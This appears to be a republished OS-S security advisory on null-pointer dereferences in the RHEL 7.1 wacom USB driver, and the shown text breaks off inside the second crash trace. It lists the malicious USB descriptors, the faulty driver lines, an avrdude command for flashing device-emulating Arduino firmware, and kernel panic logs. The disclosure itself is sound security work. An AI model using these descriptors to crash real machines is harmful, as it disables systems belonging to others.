发布 2016-03-09 漏洞条目

Linux Kernel 3.10.0 (CentOS / RHEL 7.1) – ‘Wacom’ Multiple Nullpointer Dereferences

Exploit Source

OS-S Security Advisory 2016-11

Linux wacom multiple Nullpointer Dereferences

Date: March 4th, 2016

Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg

CVE: not yet assigned

CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)

Title: Multiple Local RedHat Enterprise Linux DoS â?? RHEL 7.1 Kernel crashes on

invalid USB device descriptors (wacom driver)

Severity: Critical. The Kernel panics. A reboot is required.

Ease of Exploitation: Trivial

Vulnerability type: Wrong input validation

Products: RHEL 7.1 including all updates

Kernel-Version: 3.10.0-229.20.1.el7.x86_64 (for debugging-purposes we used the

CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7)

Vendor: Red Hat

Vendor contacted: November, 12th 2015

PDF of advisory: https://os-s.net/advisories/OSS-2016-11_wacom.pdf

Abstract:

The Kernel 3.10.0-229.20.1.el7.x86_64 crashes on presentation of buggy USB

device requiring the wacom driver.

Detailed product description:

We confirmed the bug on the following system:

RHEL 7.1

Kernel 3.10.0-229.20.1.el7.x86_64

Further products or kernel versions have not been tested.

How reproducible: Always

Actual results: Kernel crashes.

Description:

These bugs were found using the USB-fuzzing framework vUSBf from Sergej

Schumilo

(github.com/schumilo) using the following device descriptors:

[*] Device-Descriptor #1

bLength: 0x12

bDescriptorType: 0x1

bcdUSB: 0x200

bDeviceClass: 0x3

bDeviceSubClass: 0x0

bDeviceProtocol: 0x0

bMaxPacketSize: 0x40

idVendor: 0x56a

idProduct: 0x3

bcdDevice: 0x100

iManufacturer: 0x1

iProduct: 0x2

iSerialNumbers: 0x3

bNumConfigurations: 0x1

This is the configuration descriptor containing the malicious value for

bNumEndpoints causing the crash. A zero value for bNumEndpoints crashes the

system.

[*] Configuration-Descriptor

bLength: 0x9

bDescriptorType: 0x2

wTotalLength: 0x27

bNumInterfaces: 0x1

bConfigurationValue: 0x1

iConfiguration: 0x0

bmAttributes: 0x0

bMaxPower: 0x31

[*] Interface-Descriptor

bLength: 0x9

bDescriptorType: 0x4

bInterfaceNumber: 0x0

bAlternateSetting: 0x0

bNumEndpoints: 0x0

bInterfaceClass: 0x0

bInterfaceSubClass: 0x0

bInterfaceProtocol: 0x0

[*] Endpoint-Descriptor:

bLength: 0x7

bDescriptorType: 0x5

bEndpointAddress: 0x81

bmAttribut: 0x3

wMaxPacketSize: 0x404

bInterval: 0xc

[*] Endpoint-Descriptor:

bLength: 0x7

bDescriptorType: 0x5

bEndpointAddress: 0x1

bmAttribut: 0x2

wMaxPacketSize: 0x4

bInterval: 0xc

[*] Endpoint-Descriptor:

bLength: 0x7

bDescriptorType: 0x5

bEndpointAddress: 0x82

bmAttribut: 0x2

wMaxPacketSize: 0x4

bInterval: 0xc

The wacom driver assumes that there will be at least one endpoint-descriptor.

If the interface-descriptor contains a zero-value for bNumEndpoints or no

endpoint-descriptor is provided, the driver tries to dereference a null-

pointer and the kernel crashes:

****

$ nm wacom.ko.debug | grep wacom_probe

00000000000054a0 t wacom_probe

$ addr2line -e wacom.ko.debug 0x5A22

/usr/src/debug/kernel-3.10.0-229.14.1.el7/linux-3.10.0-229.14.1.el7.x86_

64/drivers/input/tablet/wacom_sys.c:1367

****

**** CentOS-Kernel linux-3.10.0-229.14.1.el7 (drivers/input/tablet/wacom-

sys.c)

...

1308

1309 endpoint = &intf->cur_altsetting->endpoint[0].desc; /* might be null-

pointer */

1310

...

1365

1366 usb_fill_int_urb(wacom->irq, dev,

1367 usb_rcvintpipe(dev, endpoint->bEndpointAddress), /* possible

null-pointer dereference */

1368 wacom_wac->data, features->pktlen,

1369 wacom_sys_irq, wacom, endpoint->bInterval);

1370 wacom->irq->transfer_dma = wacom->data_dma;

...

****

[*] Device-Descriptor #2

bLength: 0x12

bDescriptorType: 0x1

bcdUSB: 0x200

bDeviceClass: 0x3

bDeviceSubClass: 0x0

bDeviceProtocol: 0x0

bMaxPacketSize: 0x40

idVendor: 0x56a

idProduct: 0x90

bcdDevice: 0x100

iManufacturer: 0x1

iProduct: 0x2

iSerialNumbers: 0x3

bNumConfigurations: 0x1

This is the configuration descriptor containing the malicious value for

bNumEndpoints causing the crash. A zero value for bNumEndpoints crashes the

system.

[*] Configuration-Descriptor

bLength: 0x9

bDescriptorType: 0x2

wTotalLength: 0x27

bNumInterfaces: 0x1

bConfigurationValue: 0x1

iConfiguration: 0x0

bmAttributes: 0x0

bMaxPower: 0x31

[*] Interface-Descriptor

bLength: 0x9

bDescriptorType: 0x4

bInterfaceNumber: 0x0

bAlternateSetting: 0x0

bNumEndpoints: 0x0

bInterfaceClass: 0x0

bInterfaceSubClass: 0x0

bInterfaceProtocol: 0x0

[*] Endpoint-Descriptor:

bLength: 0x7

bDescriptorType: 0x5

bEndpointAddress: 0x81

bmAttribut: 0x3

wMaxPacketSize: 0x404

bInterval: 0xc

[*] Endpoint-Descriptor:

bLength: 0x7

bDescriptorType: 0x5

bEndpointAddress: 0x1

bmAttribut: 0x2

wMaxPacketSize: 0x4

bInterval: 0xc

[*] Endpoint-Descriptor:

bLength: 0x7

bDescriptorType: 0x5

bEndpointAddress: 0x82

bmAttribut: 0x2

wMaxPacketSize: 0x4

bInterval: 0xc

The wacom driver assumes that there will be at least one endpoint-descriptor.

If the interface-descriptor contains a zero-value for bNumEndpoints or no

endpoint-descriptor is provided, the driver tries to dereference a null-

pointer and the kernel crashes:

****

$ nm wacom.ko.debug | grep wacom_probe

00000000000054a0 t wacom_probe

$ addr2line -e wacom.ko.debug 0x5756

/usr/src/debug/kernel-3.10.0-229.14.1.el7/linux-3.10.0-229.14.1.el7.x86_

64/drivers/input/tablet/wacom_sys.c:599

****

**** CentOS-Kernel linux-3.10.0-229.14.1.el7 (drivers/input/tablet/wacom-

sys.c)

...

597 error = usb_get_extra_descriptor(interface, HID_DEVICET_HID, &hid_desc);

598 if (error) {

599 error = usb_get_extra_descriptor(&interface->endpoint[0], /* possible

null-pointer dereference */

600 HID_DEVICET_REPORT, &hid_desc);

...

****

Proof of Concept:

For a proof of concept, we are providing two Arduino Leonardo firmware files.

These firmware files will emulate defective USB devices.

avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U

flash:w:binary.hex

Firmware files have been attached to this bug report.

To prevent the automated delivery of the payload, a jumper may be used to

connect port D3 and 3V3!

Severity and Ease of Exploitation:

Both vulnerabilities can be easily exploited. Using our Arduino Leonardo

firmware files, only physical access to the system is required.

Vendor Communication:

We contacted Red Hat on the November, 12th 2015.

The upstream driver was recently rebased and thus is not affected.

RHEL related security patches have been provided, but no CVE number was

assigned.

References:

https://bugzilla.redhat.com/show_bug.cgi?id=1283375

https://bugzilla.redhat.com/show_bug.cgi?id=1283377

http://www.spinics.net/lists/linux-input/msg42294.html

Kernel Stacktrace #1:

[ 41.611702] usb 1-1: new full-speed USB device number 2 using xhci_hcd

[ 41.821226] usb 1-1: config 1 interface 0 altsetting 0 has 3 endpoint

descriptors, different from the interface descriptor's value: 0

[ 41.844208] usb 1-1: New USB device found, idVendor=056a, idProduct=0003

[ 41.849572] usb 1-1: New USB device strings: Mfr=1, Product=2,

SerialNumber=3

[ 41.855326] usb 1-1: Product: Ä?

[ 41.859442] usb 1-1: Manufacturer: Ä?

[ 41.863456] usb 1-1: SerialNumber: %

[ 41.916320] BUG: unable to handle kernel NULL pointer dereference at

0000000000000002

[ 41.917021] IP: [<ffffffffa0398a22>] wacom_probe+0x582/0xec0 [wacom]

[ 41.917021] PGD 0

[ 41.917021] Oops: 0000 [#1] SMP

[ 41.917021] Modules linked in: wacom(+) ip6t_rpfilter ip6t_REJECT ipt_REJECT

xt_conntrack ebtable_nat ebtable_broute bridge stp llc ebtable_filter ebtables

ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6 nf_nat_ipv6 ip6table_mangle

ip6table_security ip6table_raw ip6table_filter ip6_tables iptable_nat

nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat nf_conntrack

iptable_mangle iptable_security iptable_raw iptable_filter ip_tables bochs_drm

ppdev syscopyarea sysfillrect sysimgblt ttm drm_kms_helper drm pcspkr i2c_piix4

i2c_core serio_raw parport_pc parport xfs libcrc32c sd_mod sr_mod crc_t10dif

cdrom crct10dif_common ata_generic pata_acpi ata_piix libata e1000 floppy

dm_mirror dm_region_hash dm_log dm_mod

[ 41.917021] CPU: 0 PID: 2220 Comm: systemd-udevd Not tainted

3.10.0-229.14.1.el7.x86_64 #1

[ 41.917021] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS

rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014

[ 41.917021] task: ffff88000bcfa220 ti: ffff88000bd20000 task.ti: ffff88000bd20000

[ 41.917021] RIP: 0010:[<ffffffffa0398a22>] [<ffffffffa0398a22>]

wacom_probe+0x582/0xec0 [wacom]

[ 41.917021] RSP: 0018:ffff88000bd23b58 EFLAGS: 00010246

[ 41.917021] RAX: 0000000000000000 RBX: ffff88000c525800 RCX: 0000000000000000

[ 41.917021] RDX: 0000000000000004 RSI: 0000000000000008 RDI: ffff88000ca75000

[ 41.917021] RBP: ffff88000bd23be0 R08: 000000000000000d R09: 0000000000000064

[ 41.917021] R10: 0000000000000064 R11: ffffffff810020d8 R12: ffff88000bcd0090

[ 41.917021] R13: ffff88000bcd0000 R14: ffff88000c525c20 R15: ffff88000c525c00

[ 41.917021] FS: 00007fb8082b4880(0000) GS:ffff88000fc00000(0000)

knlGS:0000000000000000

[ 41.917021] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b

[ 41.917021] CR2: 0000000000000002 CR3: 000000000bd05000 CR4:

00000000000006f0

[ 41.917021] DR0: 0000000000000000 DR1: 0000000000000000 DR2:

0000000000000000

[ 41.917021] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400

[ 41.917021] Stack:

[ 41.917021] ffff88000bd23bb0 00000000dca45828 ffff88000bcd0090

0000000000000004

[ 41.917021] ffff88000bcd0138 0000000000000202 0000000000000001

0000000000000246

[ 41.917021] 0000000000000000 ffff88000000000d 0000000000000202

00000000dca45828

[ 41.917021] Call Trace:

[ 41.917021] [<ffffffff8141dc04>] usb_probe_interface+0x1c4/0x2f0

[ 41.917021] [<ffffffff813d30d7>] driver_probe_device+0x87/0x390

[ 41.917021] [<ffffffff813d34b3>] __driver_attach+0x93/0xa0

[ 41.917021] [<ffffffff813d3420>] ? __device_attach+0x40/0x40

[ 41.917021] [<ffffffff813d0e43>] bus_for_each_dev+0x73/0xc0

[ 41.917021] [<ffffffff813d2b2e>] driver_attach+0x1e/0x20

[ 41.917021] [<ffffffff813d2680>] bus_add_driver+0x200/0x2d0

[ 41.917021] [<ffffffff813d3b34>] driver_register+0x64/0xf0

[ 41.917021] [<ffffffff8141c1c2>] usb_register_driver+0x82/0x160

[ 41.917021] [<ffffffffa03a4000>] ? 0xffffffffa03a3fff

[ 41.917021] [<ffffffffa03a401e>] wacom_driver_init+0x1e/0x1000 [wacom]

[ 41.917021] [<ffffffff810020e8>] do_one_initcall+0xb8/0x230

[ 41.917021] [<ffffffff810dd0ee>] load_module+0x133e/0x1b40

[ 41.917021] [<ffffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0

[ 41.917021] [<ffffffff810d96b3>] ? copy_module_from_fd.isra.42+0x53/0x150

[ 41.917021] [<ffffffff810ddaa6>] SyS_finit_module+0xa6/0xd0

[ 41.917021] [<ffffffff81614389>] system_call_fastpath+0x16/0x1b

[ 41.917021] Code: 84 0f 08 00 00 48 83 c0 20 48 c7 c7 20 f4 39 a0 49 89 87

d8 00 00 00 e8 4d f1 26 e1 48 8b 45 b8 41 8b b7 88 00 00 00 49 8b 7f 60 <0f>

b6 50 02 0f b6 48 06 41 8b 84 24 70 ff ff ff c1 e2 0f c1 e0

[ 41.917021] RIP [<ffffffffa0398a22>] wacom_probe+0x582/0xec0 [wacom]

[ 41.917021] RSP <ffff88000bd23b58>

[ 41.917021] CR2: 0000000000000002

[ 42.331382] ---[ end trace b239663354a1c556 ]---

[ 42.336544] Kernel panic - not syncing: Fatal exception

[ 42.337520] drm_kms_helper: panic occurred, switching back to text console

Kernel Stacktrace #2:

[ 34.781297] usb 1-1: new full-speed USB device number 2 using xhci_hcd

[ 34.986458] usb 1-1: config 1 interface 0 altsetting 0 has 3 endpoint

descriptors, different from the interface descriptor's value: 0

[ 35.014291] usb 1-1: New USB device found, idVendor=056a, idProduct=0090

[ 35.021605] usb 1-1: New USB device strings: Mfr=1, Product=2,

SerialNumber=3

[ 35.029627] usb 1-1: Product: Ä?

[ 35.034093] usb 1-1: Manufacturer: Ä?

[ 35.037368] usb 1-1: SerialNumber: %

[ 35.091600] BUG: unable to handle kernel NULL pointer dereference at

0000000000000038

[ 35.092021] IP: [<ffffffffa0398756>] wacom_probe+0x2b6/0xec0 [wacom]

[ 35.092021] PGD 0

[ 35.092021] Oops: 0000 [#1] SMP

[ 35.092021] Modules linked in: wacom(+) ip6t_rpfilter ip6t_REJECT ipt_REJECT